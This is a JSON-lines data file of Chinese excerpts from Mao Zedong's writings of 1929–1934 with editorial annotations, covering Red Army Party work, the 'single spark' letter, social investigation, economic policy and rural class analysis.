    {"text": "一九二二年，水口山的工人在共产党领导下，组织了工会，历年与反革命斗争。 一九二七年冬，以水口山的工人为主，组成了湘南游击总队，进行游击战争。"},
    {"text": "一九二一年秋，中国共产党派人到安源工作，第二年，建立了共产党和工会的组织，在毛泽东、李立三、刘少奇等的领导下，发动了著名的安源路矿大罢工。"},
    {"text": "〔17〕 在军队内部实行一定的民主，是毛泽东一贯的思想。 在这里毛泽东特别着重地指出革命军队内部民主生活的必要，是因为当时红军初建，非强调民主，不足以鼓舞新入伍的农民和俘虏过来的国民党军士兵的革命积极性，不足以肃清干部中由反动军队传来的军阀主义的习气。 当然，部队中的民主生活必须是在军事纪律所许可的范围内，必须是为着加强纪律而不是为着减弱纪律，所以在部队中提倡必要的民主的时候，必须同时反对要求极端民主的无纪律现象。"},
    {"text": "同时，抽调该团部分骨干组建第二十五师七十五团的三个营和第四集团军第二方面军总指挥部警卫团； 抽调该团的大批骨干组建第二十四师，叶挺任师长。 参加南昌起义后，二十四师、二十五师等部合编为第十一军，叶挺兼任军长。"},
    {"text": "五月二十一日，国民党军第三十五军独立第三十三团团长许克祥在军长何键的策动下，在长沙发动反革命叛乱，围攻湖南省总工会、省农民协会等革命群众组织，捕杀共产党人和革命的工农群众。"},
    {"text": "毛泽东对中间阶级的政策主张，除见于本文外，又见于一九二八年十一月红军第四军第六次党的代表大会提案（内有“禁止盲目焚杀”，“保护中小商人利益”等项）、一九二九年一月红军第四军布告（内有“城市商人，积铢累寸，只要服从，馀皆不论”等语）和一九二九年四月兴国县土地法（参见本文注〔21〕）等。"},
    {"text": "关于纠正党内的错误思想 关于纠正党内的错误思想 * （一九二九年十二月） 红军第四军的共产党内存在着各种非无产阶级的思想，这对于执行党的正确路线，妨碍极大。"},
    {"text": "但是党的领导机关对于这些不正确的思想缺乏一致的坚决的斗争，缺乏对党员作正确路线的教育，也是使这些不正确思想存在和发展的重要原因。"},
    {"text": "特别是现在，红军决不是单纯地打仗的，它除了打仗消灭敌人军事力量之外，还要负担宣传群众、组织群众、武装群众、帮助群众建立革命政权以至于建立共产党的组织等项重大的任务。 红军的打仗，不是单纯地为了打仗而打仗，而是为了宣传群众、组织群众、武装群众，并帮助群众建设革命政权才去打仗的，离了对群众的宣传、组织、武装和建设革命政权等项目标，就是失去了打仗的意义，也就是失去了红军存在的意义。"},
    {"text": "（四）党对于军事工作没有积极的注意和讨论，也是形成一部分同志的单纯军事观点的原因。 纠正的方法： （一）从教育上提高党内的政治水平，肃清单纯军事观点的理论根源，认清红军和白军的根本区别。"},
    {"text": "（五）编制红军法规，明白地规定红军的任务，军事工作系统和政治工作系统的关系，红军和人民群众的关系，士兵会的权能及其和军事政治机关的关系。"},
    {"text": "首先，要指出极端民主化的危险，在于损伤以至完全破坏党的组织，削弱以至完全毁灭党的战斗力，使党担负不起斗争的责任，由此造成革命的失败。"},
    {"text": "（二）许多党员不在党内批评而在党外去批评。 这是因为一般党员还不懂得党的组织（会议等）的重要，以为批评在组织内或在组织外没有什么分别。"},
    {"text": "绝对平均主义的来源，和政治上的极端民主化一样，是手工业和小农经济的产物，不过一则见之于政治生活方面，一则见之于物质生活方面罢了。"},
    {"text": "就是在社会主义时期，物质的分配也要按照“各尽所能按劳取酬”的原则和工作的需要，决无所谓绝对的平均。 红军人员的物质分配，应该做到大体上的平均，例如官兵薪饷平等，因为这是现时斗争环境所需要的。"},
    {"text": "关于主观主义 主观主义，在某些党员中浓厚地存在，这对分析政治形势和指导工作，都非常不利。 因为对于政治形势的主观主义的分析和对于工作的主观主义的指导，其必然的结果，不是机会主义，就是盲动主义。 至于党内的主观主义的批评，不要证据的乱说，或互相猜忌，往往酿成党内的无原则纠纷，破坏党的组织。 关于党内批评问题，还有一点要说及的，就是有些同志的批评不注意大的方面，只注意小的方面。"},
    {"text": "纠正的方法：主要是教育党员使党员的思想和党内的生活都政治化，科学化。 要达到这个目的，就要：（一）教育党员用马克思列宁主义的方法去作政治形势的分析和阶级势力的估量，以代替主观主义的分析和估量。 （二）使党员注意社会经济的调查和研究，由此来决定斗争的策略和工作的方法，使同志们知道离开了实际情况的调查，就要堕入空想和盲动的深坑。"},
    {"text": "不认识党和红军都是执行革命任务的工具，而自己是其中的一员。 不认识自己是革命的主体，以为自己仅仅对长官个人负责任，不是对革命负责任。"},
    {"text": "这种消极的雇佣革命的思想，也是一种个人主义的表现。 这种雇佣革命的思想，是无条件努力的积极活动分子所以不很多的原因。 雇佣思想不肃清，积极活动分子便无由增加，革命的重担便始终放在少数人的肩上，于斗争极为不利。"},
    {"text": "关于流寇思想 由于红军中游民成分占了很大的数量和全国特别是南方各省有广大游民群众的存在，就在红军中产生了流寇主义的政治思想。 这种思想表现在：一，不愿意做艰苦工作建立根据地，建立人民群众的政权，并由此去扩大政治影响，而只想用流动游击的方法，去扩大政治影响。"},
    {"text": "中国红军（抗日时期是八路军、新四军，现在是人民解放军）从一九二七年八月一日南昌起义创始，到一九二九年十二月，经过了两年多的时间。"},
    {"text": "中国人民军队中的党的工作和政治工作，以后有广大的发展和创造，现在的面貌和过去大不相同了，但是基本的路线还是继承了这个决议的路线。"},
    {"text": "〔2〕 一九二七年革命失败后的短期间，在共产党内曾经出现一种“左”倾盲动主义倾向，认为中国革命的性质是所谓“不断革命”，中国革命的形势是所谓“不断高涨”，因而不肯去组织有秩序的退却，错误地使用命令主义的方法，企图依靠少数党员和少数群众在全国组织毫无胜利希望的许多的地方起义。"},
    {"text": "公元八七五年，即唐僖宗乾符二年，黄巢聚众响应王仙芝领导的起义。 公元八七八年，王仙芝被杀后，黄巢收集王的余部，被推为领袖，号“冲天大将军”。"},
    {"text": "公元八八○年，黄巢攻破潼关，不久占领长安，建立齐国，自称皇帝。 后因内部分裂（大将朱温降唐），又受到李克用沙陀军及诸道军队的进攻，黄巢被迫退出长安，转入河南，由河南回到山东，于公元八八四年失败自杀。"},
    {"text": "他在被推为闯王后，率部入川，折回陕南，经湖北又入川，又经湖北入河南，旋占湖北襄阳、安陆等地，再经河南攻陕占西安，于一六四四年经山西攻入北京。"},
    {"text": "星星之火，可以燎原 星星之火，可以燎原 * （一九三○年一月五日） 在对于时局的估量和伴随而来的我们的行动问题上，我们党内有一部分同志还缺少正确的认识。"},
    {"text": "因此他们不赞成争取江西的计划，而只赞成在福建、广东、江西之间的三个边界区域的流动游击，同时也没有在游击区域建立红色政权的深刻的观念，因此也就没有用这种红色政权的巩固和扩大去促进全国革命高潮的深刻的观念。 他们似乎认为在距离革命高潮尚远的时期做这种建立政权的艰苦工作为徒劳，而希望用比较轻便的流动游击方式去扩大政治影响，等到全国各地争取群众的工作做好了，或做到某个地步了，然后再来一个全国武装起义，那时把红军的力量加上去，就成为全国范围的大革命。 他们这种全国范围的、包括一切地方的、先争取群众后建立政权的理论，是于中国革命的实情不适合的。"},
    {"text": "他们的这种理论的来源，主要是没有把中国是一个许多帝国主义国家互相争夺的半殖民地这件事认清楚。 如果认清了中国是一个许多帝国主义国家互相争夺的半殖民地，则一，就会明白全世界何以只有中国有这种统治阶级内部互相长期混战的怪事，而且何以混战一天激烈一天，一天扩大一天，何以始终不能有一个统一的政权。"},
    {"text": "四，就会明白相应于全世界只有中国有统治阶级内部长期混战的一件怪事而产生出来的另一件怪事，即红军和游击队的存在和发展，以及伴随着红军和游击队而来的，成长于四围白色政权中的小块红色区域的存在和发展（中国以外无此怪事）。 五，也就会明白红军、游击队和红色区域的建立和发展，是半殖民地中国在无产阶级领导之下的农民斗争的最高形式，和半殖民地农民斗争发展的必然结果；"},
    {"text": "六，也就会明白单纯的流动游击政策，不能完成促进全国革命高潮的任务，而朱德毛泽东式、方志敏 〔1〕 式之有根据地的，有计划地建设政权的，深入土地革命的，扩大人民武装的路线是经由乡赤卫队、区赤卫大队、县赤卫总队 〔2〕 、地方红军直至正规红军这样一套办法的，政权发展是波浪式地向前扩大的，等等的政策，无疑义地是正确的。"},
    {"text": "因此，在判断中国政治形势的时候，需要认识下面的这些要点： （一）现在中国革命的主观力量虽然弱，但是立足于中国落后的脆弱的社会经济组织之上的反动统治阶级的一切组织（政权、武装、党派等）也是弱的。 这样就可以解释现在西欧各国的革命的主观力量虽然比现在中国的革命的主观力量也许要强些，但因为它们的反动统治阶级的力量比中国的反动统治阶级的力量更要强大许多倍，所以仍然不能即时爆发革命。 现时中国革命的主观力量虽然弱，但是因为反革命力量也是相对地弱的，所以中国革命的走向高潮，一定会比西欧快。"},
    {"text": "到现在还传为笑谈的所谓“十分动摇”、“恐慌万状”两句话，就是那时（一九二八年五月至六月）湖南省委估量湖南的统治者鲁涤平 〔5〕 的形容词。"},
    {"text": "但是到了同年十一月至去年二月（蒋桂战争 〔6〕 尚未爆发之前）约四个月期间内，敌人的第三次“会剿” 〔7〕 临到了井冈山的时候，一部分同志又有“红旗到底打得多久”的疑问提出来了。"},
    {"text": "其实，那时英、美、日在中国的斗争已到十分露骨的地步，蒋桂冯混战的形势业已形成，实质上是反革命潮流开始下落，革命潮流开始复兴的时候。"},
    {"text": "但是在那个时候，不但红军和地方党内有一种悲观的思想，就是中央那时也不免为那种表面上的情况所迷惑，而发生了悲观的论调。 中央二月来信 〔8〕 就是代表那时候党内悲观分析的证据。"},
    {"text": "特别是我们在红军中工作的人，一遇到败仗，或四面被围，或强敌跟追的时候，往往不自觉地把这种一时的特殊的小的环境，一般化扩大化起来，仿佛全国全世界的形势概属未可乐观，革命胜利的前途未免渺茫得很。"},
    {"text": "既然国际上帝国主义相互之间、帝国主义和殖民地之间、帝国主义和它们本国的无产阶级之间的矛盾是发展了，帝国主义争夺中国的需要就更迫切了。 帝国主义争夺中国一迫切，帝国主义和整个中国的矛盾，帝国主义者相互间的矛盾，就同时在中国境内发展起来，因此就造成中国各派反动统治者之间的一天天扩大、一天天激烈的混战，中国各派反动统治者之间的矛盾，就日益发展起来。 伴随各派反动统治者之间的矛盾——军阀混战而来的，是赋税的加重，这样就会促令广大的负担赋税者和反动统治者之间的矛盾日益发展。 伴随着帝国主义和中国民族工业的矛盾而来的，是中国民族工业得不到帝国主义的让步的事实，这就发展了中国资产阶级和中国工人阶级之间的矛盾，中国资本家从拚命压榨工人找出路，中国工人则给以抵抗。 伴随着帝国主义的商品侵略、中国商业资本的剥蚀和政府的赋税加重等项情况，便使地主阶级和农民的矛盾更加深刻化，即地租和高利贷的剥削更加重了，农民则更加仇恨地主。 因为外货的压迫、广大工农群众购买力的枯竭和政府赋税的加重，使得国货商人和独立生产者日益走上破产的道路。"},
    {"text": "“星火燎原”的话，正是时局发展的适当的描写。 只要看一看许多地方工人罢工、农民暴动、士兵哗变、学生罢课的发展，就知道这个“星星之火”，距“燎原”的时期，毫无疑义地是不远了。"},
    {"text": "党的六次大会 〔11〕 所指示的政治路线和组织路线是对的：革命的现时阶段是民权主义而不是社会主义，党（按：应加‘在大城市中’五个字）的目前任务是争取群众而不是马上举行暴动。"},
    {"text": "” 这封信对红军的行动策略问题有如下的答复： “中央要我们将队伍分得很小，散向农村中，朱、毛离开队伍，隐匿大的目标，目的在于保存红军和发动群众。"},
    {"text": "以连或营为单位，单独行动，分散在农村中，用游击的战术发动群众，避免目标，我们从一九二七年冬天就计划过，而且多次实行过，但是都失败了。"},
    {"text": "兵力集中的积极的理由是：集中了才能消灭大一点的敌人，才能占领城镇。 消灭了大一点的敌人，占领了城镇，才能发动大范围的群众，建立几个县联在一块的政权。"},
    {"text": "例如湘赣边界第一次打下永新时，二十九团和三十一团在永新境内的分兵。 又如第三次打下永新时，二十八团往安福边境，二十九团往莲花，三十一团往吉安边界的分兵。 又如去年四月至五月在赣南各县的分兵，七月在闽西各县的分兵。"},
    {"text": "因为分兵的目的，是为了更能争取群众，更能深入土地革命和建立政权，更能扩大红军和地方武装。 若不能达到这些目的，或者反因分兵而遭受失败，削弱了红军的力量，例如前年八月湘赣边界分兵打郴州那样，则不如不分为好。 如果具备了上述两个条件，那就无疑地应该分兵，因为在这两个条件下，分散比集中更有利。"},
    {"text": "在这种局面之下来布置工作，我们觉得南方数省中广东湖南两省买办地主的军力太大，湖南则更因党的盲动主义的错误，党内党外群众几乎尽失。"},
    {"text": "至于争取江西，除开江西的本身条件之外，还包含有全国革命高潮快要到来的条件。 因为如果不相信革命高潮快要到来，便决不能得到一年争取江西的结论。"},
    {"text": "至于江西的主观客观条件是很值得注意的。 除主观条件如给中央信上所说外，客观条件现在可以明白指出的有三点：一是江西的经济主要是封建的经济，商业资产阶级势力较小，而地主的武装在南方各省中又比哪一省都弱。 二是江西没有本省的军队，向来都是外省军队来此驻防。"},
    {"text": "它是站在海岸遥望海中已经看得见桅杆尖头了的一只航船，它是立于高山之巅远看东方已见光芒四射喷薄欲出的一轮朝日，它是躁动于母腹中的快要成熟了的一个婴儿。"},
    {"text": "注 释 * 这是毛泽东给林彪的一封信，是为答复林彪散发的一封对红军前途究竟应该如何估计的征求意见的信。 毛泽东在这封信中批评了当时林彪以及党内一些同志对时局估量的一种悲观思想。"},
    {"text": "一九二八年至一九三三年，领导起义的农民坚持游击战争，实行土地革命，建立红色政权，逐步地将农村革命根据地扩大到江西东北部和福建北部、安徽南部、浙江西部，将地方游击队发展为正规红军。"},
    {"text": "〔7〕 一九二八年七月至十一月，江西、湖南两省的国民党军队两次“会剿”井冈山革命根据地失败后，又于同年底至一九二九年初调集湖南、江西两省共六个旅的兵力，对井冈山革命根据地发动第三次“会剿”。 毛泽东等周密地研究了粉碎敌人“会剿”的计划，决定红军第四军主力转入外线打击敌人，以红四军的一部配合红五军留守井冈山。 经过内外线的艰苦转战，红军开辟了赣南、闽西革命根据地，曾经被敌人一度侵占的井冈山革命根据地也得到了恢复和发展。"},
    {"text": "〔8〕 指中共中央一九二九年二月七日给红军第四军前敌委员会的信。 本文中引录的一九二九年四月五日红军第四军前敌委员会给中央的信上，曾大略地摘出该信的内容，主要是关于当时形势的估计和红军的行动策略问题。"},
    {"text": "这次大会肯定了中国社会仍旧是半殖民地半封建社会，中国当时的革命依然是资产阶级民主革命，指出了当时的政治形势是在两个高潮之间和革命发展是不平衡的，党在当时的总任务不是进攻，而是争取群众。"},
    {"text": "许多巡视员，许多游击队的领导者，许多新接任的工作干部，喜欢一到就宣布政见，看到一点表面，一个枝节，就指手画脚地说这也不对，那也错误。"},
    {"text": "迈开你的两脚，到你的工作范围的各部分各地方去走走，学个孔夫子的“每事问” 〔2〕 ，任凭什么才力小也能解决问题，因为你未出门时脑子是空的，归来时脑子已经不是空的了，已经载来了解决问题的各种必要材料，问题就是这样子解决了。"},
    {"text": "也不一定，可以召集那些明了情况的人来开个调查会，把你所谓困难问题的“来源”找到手，“现状”弄明白，你的这个困难问题也就容易解决了。"},
    {"text": "我们说上级领导机关的指示是正确的，决不单是因为它出于“上级领导机关”，而是因为它的内容是适合于斗争中客观和主观情势的，是斗争所需要的。"},
    {"text": "本本主义的社会科学研究法也同样是最危险的，甚至可能走上反革命的道路，中国有许多专门从书本上讨生活的从事社会科学研究的共产党员，不是一批一批地成了反革命吗？"},
    {"text": "你试试离开实际调查去估量政治形势，去指导斗争工作，是不是空洞的唯心的呢？ 这种空洞的唯心的政治估量和工作指导，是不是要产生机会主义错误，或者盲动主义错误呢？"},
    {"text": "举例来说，我们调查农民成分时，不但要知道自耕农 〔5〕 ，半自耕农 〔6〕 ，佃农，这些以租佃关系区别的各种农民的数目有多少，我们尤其要知道富农，中农，贫农，这些以阶级区别阶层区别的各种农民的数目有多少。 我们调查商人成分，不但要知道粮食业、衣服业、药材业等行业的人数各有多少，尤其要调查小商人、中等商人、大商人各有多少。 我们不仅要调查各业的情况，尤其要调查各业内部的阶级情况。 我们不仅要调查各业之间的相互关系，尤其要调查各阶级之间的相互关系。"},
    {"text": "我们调查工作的主要方法是解剖各种社会阶级，我们的终极目的是要明了各种阶级的相互关系，得到正确的阶级估量，然后定出我们正确的斗争策略，确定哪些阶级是革命斗争的主力，哪些阶级是我们应当争取的同盟者，哪些阶级是要打倒的。"},
    {"text": "什么是调查时要注意的社会阶级？ 下面那些就是： 工业无产阶级 手工业工人 雇农 贫农 城市贫民 游民 手工业者 小商人 中农 富农 地主阶级 商业资产阶级 工业资产阶级 这些阶级（有的是阶层）的状况，都是我们调查时要注意的。"},
    {"text": "我们的任务第一步是，争取工人阶级的大多数，发动农民群众和城市贫民，打倒地主阶级，打倒帝国主义，打倒国民党政权，完成民权主义革命。"},
    {"text": "须知资产阶级政党也是天天在那里讨论斗争策略的，他们的问题是怎样在工人阶级中传播改良主义影响，使工人阶级受他们的欺骗，而脱离共产党的领导，怎样争取富农去消灭贫农的暴动，怎样组织流氓去镇压革命等等。"},
    {"text": "共产党的正确而不动摇的斗争策略，决不是少数人坐在房子里能够产生的，它是要在群众的斗争过程中才能产生的，这就是说要在实际经验中才能产生。"},
    {"text": "那些具有一成不变的保守的形式的空洞乐观的头脑的同志们，以为现在的斗争策略已经是再好没有了，党的第六次全国代表大会的“本本” 〔8〕 保障了永久的胜利，只要遵守既定办法就无往而不胜利。"},
    {"text": "红军中显然有一部分同志是安于现状，不求甚解，空洞乐观，提倡所谓“无产阶级就是这样”的错误思想，饱食终日，坐在机关里面打瞌睡，从不肯伸只脚到社会群众中去调查调查。"},
    {"text": "人多有人多的好处，就是在做统计时（如征询贫农占农民总数的百分之几），在做结论时（如征询土地分配平均分好还是差别分好），能得到比较正确的回答。"},
    {"text": "所谓“调查纲目”，要有大纲，还要有细目，如“商业”是个大纲，“布匹”，“粮食”，“杂货”，“药材”都是细目，布匹下再分“洋布”，“土布”，“绸缎”各项细目。"},
    {"text": "（5）要亲身出马 凡担负指导工作的人，从乡政府主席到全国中央政府主席，从大队长到总司令，从支部书记到总书记，一定都要亲身从事社会经济的实际调查，不能单靠书面报告，因为二者是两回事。"},
    {"text": "（6）要深入 初次从事调查工作的人，要作一两回深入的调查工作，就是要了解一处地方（例如一个农村、一个城市），或者一个问题（例如粮食问题、货币问题）的底里。"},
    {"text": "〔1〕 一九三一年四月二日毛泽东在《总政治部关于调查人口和土地状况的通知》中，对“没有调查，没有发言权”的论断作了补充和发展，提出“我们的口号是：一，不做调查没有发言权。"},
    {"text": "毛泽东还把进行社会调查规定为工作制度，红军政治部制订了详细的调查表，包括群众斗争状况、反动派状况、经济生活情况和农村各阶级占有土地的情况等项目。"},
    {"text": "必须注意经济工作 必须注意经济工作 * （一九三三年八月十二日） 革命战争的激烈发展，要求我们动员群众，立即开展经济战线上的运动，进行各项必要和可能的经济建设事业。"},
    {"text": "为着改善人民群众的生活，由此更加激发人民群众参加革命战争的积极性； 为着在经济战线上把广大人民群众组织起来，并且教育他们，使战争得着新的群众力量； 为着从经济建设去巩固工人和农民的联盟，去巩固工农民主专政，去加强无产阶级的领导。 为着这一切，就需要进行经济方面的建设工作。"},
    {"text": "过去有些同志认为革命战争已经忙不了，哪里还有闲工夫去做经济建设工作，因此见到谁谈经济建设，就要骂为“右倾”。 他们认为在革命战争环境中没有进行经济建设的可能，要等战争最后胜利了，有了和平的安静的环境，才能进行经济建设。"},
    {"text": "只有开展经济战线方面的工作，发展红色区域的经济，才能使革命战争得到相当的物质基础，才能顺利地开展我们军事上的进攻，给敌人的“围剿”以有力的打击； 才能使我们有力量去扩大红军，把我们的战线开展到几千里路的地方去，使我们的红军毫无顾虑地在将来顺利的条件下去打南昌，打九江，使我们的红军减少自己找给养的这一部分工作，专心一意去打敌人；"},
    {"text": "一方面要使我们的粮食，在红色区域内由有余的地方流通到不足的地方，不使有的地方成了堆，有的地方买不到，有的地方价格过低，有的地方价格又过高； 一方面要把我区多余的粮食，有计划地（不是无限制地）运输出口，不受奸商的中间剥削，从白区购买必需品进来。"},
    {"text": "大家要努力去发展农业和手工业的生产，多造农具，多产石灰，使明年的收获增多，恢复钨砂、木头、樟脑、纸张、烟叶、夏布、香菇、薄荷油等特产过去的产量，并把它们大批地输出到白区去。"},
    {"text": "我们的目的不但要发展生产，并且要使生产品出口卖得适当的价钱，又从白区用低价买得盐布进来，分配给人民群众，这样去打破敌人的封锁，抵制商人的剥削。"},
    {"text": "因此也就明白，在现在的阶段上，经济建设必须是环绕着革命战争这个中心任务的。 革命战争是当前的中心任务，经济建设事业是为着它的，是环绕着它的，是服从于它的。 那种以为经济建设已经是当前一切任务的中心，而忽视革命战争，离开革命战争去进行经济建设，同样是错误的观点。 只有在国内战争完结之后，才说得上也才应该说以经济建设为一切任务的中心。 在国内战争中企图进行和平的，为将来所应有而现在所不应有的，为将来的环境所许可而现在的环境不许可的那些经济建设工作，只是一种瞎想。"},
    {"text": "尤其是乡和市这一级的同志，以及合作社、粮食局、贸易局、采办处这些机关里的同志，他们是亲手动员群众组织合作社、调剂和运输粮食、管理出入口贸易的实际工作人员，如果他们的领导方式不对，不能采取各种正确的有效的工作方法，那就会立刻影响到工作的成效，使我们各项工作不能得到广大群众的拥护，不能在今年秋冬和明年春夏完成中央政府在经济建设上的整个计划。"},
    {"text": "首先是各级政府的主席团、国民经济部和财政部的同志，要把发行公债，发展合作社，调剂粮食，发展生产，发展贸易这些工作，经常地放在议事日程上面去讨论，去督促，去检查。"},
    {"text": "其次，要经过以村子、屋子为单位的群众大会去做经济建设的宣传，在宣传中要把革命战争和经济建设的关系讲得十分明白，要把改良群众的生活，增加斗争的力量，讲得十分实际。"},
    {"text": "假如不这样地从组织上去动员群众和宣传群众，即是说，各级政府的主席团、国民经济部和财政部不着力抓着经济建设的工作去讨论、检查，不注意推动群众团体，不注意开群众大会做宣传，那末，要达到目的是不可能的。"},
    {"text": "我们一定不能要命令主义，我们要的是努力宣传，说服群众，按照具体的环境、具体地表现出来的群众情绪，去发展合作社，去推销公债，去做一切经济动员的工作。"},
    {"text": "第三，经济建设运动的开展，需要有很大数量的工作干部。 这不是几十几百人的事，而是要有几千人几万人，要把他们组织起来，训练起来，送到经济建设的阵地上去。"},
    {"text": "只有深入查田运动 〔3〕 ，才能彻底地消灭封建半封建的土地所有制，发展农民的生产的积极性，使广大农民迅速地走入经济建设的战线上来。 只有坚决地实行劳动法，才能改善工人群众的生活，使工人群众积极地迅速地参加经济建设事业，而加强他们对于农民的领导作用。 只有正确地领导选举运动和跟着查田运动的开展而开展的检举运动 〔4〕 ，才能健全我们的政府机关，使我们的政府更有力地领导革命战争，领导各方面的工作，领导经济工作。"},
    {"text": "总起来说，假如我们争取了上述的一切条件，包括经济建设这个新的极重要的条件，并且使这一切的条件都服务于革命战争，那末，革命战争的胜利，无疑是属于我们的。"},
    {"text": "查田是为了查漏划的地主富农，彻底消灭封建势力，巩固和纯洁苏维埃政权。 一九三三年六月一日中华苏维埃共和国临时中央政府发出《关于查田运动的训令》，要求“把一切冒称‘中农’、‘贫农’的地主富农，完全清查出来”。 同时按照一九三一年十二月一日《中华苏维埃共和国土地法》的规定，《训令》还提出“没收地主阶级的一切土地财产，没收富农的土地及多余的耕牛、农具、房屋，分配给过去分田不够的及尚未分到田的工人、贫农、中农，富农则分与较坏的劳动份地”。"},
    {"text": "怎样分析农村阶级 怎样分析农村阶级 * （一九三三年十月） 一 地主 占有土地，自己不劳动，或只有附带的劳动，而靠剥削农民为生的，叫做地主。地主剥削的方式，主要地是收取地租，此外或兼放债，或兼雇工，或兼营工商业。但对农民剥削地租是地主剥削的主要的方式。管公堂和收学租 〔1〕 也是地租剥削的一类。 有些地主虽然已破产了，但破产之后仍不劳动，依靠欺骗、掠夺或亲友接济等方法为生，而其生活状况超过普通中农者，仍然算是地主。 军阀、官僚、土豪、劣绅是地主阶级的政治代表，是地主中特别凶恶者。富农中亦常有较小的土豪、劣绅。 帮助地主收租管家，依靠地主剥削农民为主要的生活来源，其生活状况超过普通中农的一些人，应和地主一例看待。 依靠高利贷剥削为主要生活来源，其生活状况超过普通中农的人，称为高利贷者，应和地主一例看待。 二 富农 富农一般占有土地。但也有自己占有一部分土地，另租入一部分土地的。也有自己全无土地，全部土地都是租入的。富农一般都占有比较优裕的生产工具和活动资本，自己参加劳动，但经常地依靠剥削为其生活来源的一部或大部。富农的剥削方式，主要是剥削雇佣劳动（请长工）。此外，或兼以一部土地出租剥削地租，或兼放债，或兼营工商业。富农多半还管公堂。有的占有相当多的优良土地，除自己劳动之外并不雇工，而另以地租债利等方式剥削农民，此种情况也应以富农看待。富农的剥削是经常的，许多富农的剥削收入在其全部收入中并且是主要的。 三 中农 中农许多都占有土地。有些中农只占有一部分土地，另租入一部分土地。有些中农并无土地，全部土地都是租入的。中农自己都有相当的工具。中农的生活来源全靠自己劳动，或主要靠自己劳动。中农一般不剥削别人，许多中农还要受别人小部分地租债利等剥削。但中农一般不出卖劳动力。另一部分中农（富裕中农）则对别人有轻微的剥削，但非经常的和主要的。 四 贫农 贫农有些占有一部分土地和不完全的工具；有些全无土地，只有一些不完全的工具。一般都须租入土地来耕，受人地租、债利和小部分雇佣劳动的剥削。 中农一般不要出卖劳动力，贫农一般要出卖小部分的劳动力，这是区别中农和贫农的主要标准。 五 工人 工人（雇农在内）一般全无土地和工具，有些工人有极小部分的土地和工具。工人完全地或主要地以出卖劳动力为生。 注 释 * 这个文件，是毛泽东一九三三年十月为纠正在土地改革工作中发生的偏向、正确地解决土地问题而写的，曾由当时中央工农民主政府通过，作为划分农村阶级成分的标准。 〔1〕 旧中国农村中有许多的公共土地。有些是政治性的，例如一些区乡政府所有的土地。有些是宗族性的，例如各姓祠堂所有的土地。有些是宗教性的，例如佛教、道教、天主教、伊斯兰教的寺、观、教堂、清真寺所有的土地。有些是社会救济或者社会公益性的，例如义仓的土地和为修桥补路而设置的土地。有些是教育性的，例如学田。所有这些土地，大部分都掌握在地主富农手里，只有一小部分，农民有权干预。"},
    {"text": "我们的经济政策 我们的经济政策 * （一九三四年一月） 只有最无耻的国民党军阀，才会在他们自己统治的区域内弄到差不多民穷财尽的地步，还会天天造谣，说红色区域如何破坏不堪。"},
    {"text": "我们的经济政策的原则，是进行一切可能的和必须的经济方面的建设，集中经济力量供给战争，同时极力改良民众的生活，巩固工农在经济方面的联合，保证无产阶级对于农民的领导，争取国营经济对私人经济的领导，造成将来发展到社会主义的前提。"},
    {"text": "这里应当指出：在目前的条件之下，农业生产是我们经济建设工作的第一位，它不但需要解决最重要的粮食问题，而且需要解决衣服、砂糖、纸张等项日常用品的原料即棉、麻、蔗、竹等的供给问题。"},
    {"text": "目前自然还不能提出国家农业和集体农业的问题，但是为着促进农业的发展，在各地组织小范围的农事试验场，并设立农业研究学校和农产品展览所，却是迫切地需要的。"},
    {"text": "两年以来，特别是一九三三年上半年起，因为我们开始注意，因为群众生产合作社的逐渐发展，许多手工业和个别的工业现在是在开始走向恢复。"},
    {"text": "我们有计划地组织人民的对外贸易，并且由国家直接经营若干项必要的商品流通，例如食盐和布匹的输入，食粮和钨砂的输出，以及粮食在内部的调剂等，现在是异常需要的了。"},
    {"text": "因为目前私人经济的发展，是国家的利益和人民的利益所需要的。 私人经济，不待说，现时是占着绝对的优势，并且在相当长的期间内也必然还是优势。"},
    {"text": "在全中国卷入经济浩劫，数万万民众陷入饥寒交迫的困难地位的时候，我们人民的政府却不顾一切困难，为了革命战争，为了民族利益，认真地进行经济建设工作。"},
    {"text": "〔1〕 农业生产在革命根据地建立的头一二年，往往有些下降，主要地是由于在分配土地期间，地权还没有确定，新的经济秩序还没有走上轨道，以致农民的生产情绪还有些波动。"},
    {"text": "关心群众生活，注意工作方法 关心群众生活，注意工作方法 * （一九三四年一月二十七日） 有两个问题，同志们在讨论中没有着重注意，我觉得应该提出来说一说。"},
    {"text": "我们的同志如果把这个中心任务真正看清楚了，懂得无论如何要把革命发展到全国去，那末，我们对于广大群众的切身利益问题，群众的生活问题，就一点也不能疏忽，一点也不能看轻。"},
    {"text": "假如我们对这些问题注意了，解决了，满足了群众的需要，我们就真正成了群众生活的组织者，群众就会真正围绕在我们的周围，热烈地拥护我们。"},
    {"text": "在我们的工作人员中，曾经看见这样的情形：他们只讲扩大红军，扩充运输队，收土地税，推销公债，其他事情呢，不讲也不管，甚至一切都不管。"},
    {"text": "所以，那时，汀州市工农代表会议改选了以后，一百多个代表，因为几次会都只讨论扩大红军和动员运输队，完全不理群众生活，后来就不高兴到会了，会议也召集不成了。"},
    {"text": "江西的长冈乡 〔1〕 ，福建的才溪乡 〔2〕 ，扩大红军多得很呀！ 长冈乡青年壮年男子百个人中有八十个当红军去了，才溪乡百个人中有八十八个当红军去了 〔3〕 。"},
    {"text": "要使他们从这些事情出发，了解我们提出来的更高的任务，革命战争的任务，拥护革命，把革命推到全国去，接受我们的政治号召，为革命的胜利斗争到底。"},
    {"text": "那末，就得和群众在一起，就得去发动群众的积极性，就得关心群众的痛痒，就得真心实意地为群众谋利益，解决群众的生产和生活的问题，盐的问题，米的问题，房子的问题，衣的问题，生小孩子的问题，解决群众的一切问题。"},
    {"text": "其他如查田工作 〔6〕 、经济建设工作、文化教育工作、新区边区的工作，一切工作，如果仅仅提出任务而不注意实行时候的工作方法，不反对官僚主义的工作方法而采取实际的具体的工作方法，不抛弃命令主义的工作方法而采取耐心说服的工作方法，那末，什么任务也是不能实现的。"},
    {"text": "他们是认真地在那里进行工作，他们是仔细地在那里解决问题，他们在革命面前是真正负起了责任，他们是革命战争的良好的组织者和领导者，他们又是群众生活的良好的组织者和领导者。"},
    {"text": "其他，如福建的上杭、长汀、永定等县的一些地方，赣南的西江等处地方，湘赣边区的茶陵、永新、吉安等县的一些地方，湘鄂赣边区阳新县的一些地方，以及江西还有许多县里的区乡，加上瑞金直属县，那里的同志们都有进步的工作，同样值得我们大家称赞。"},
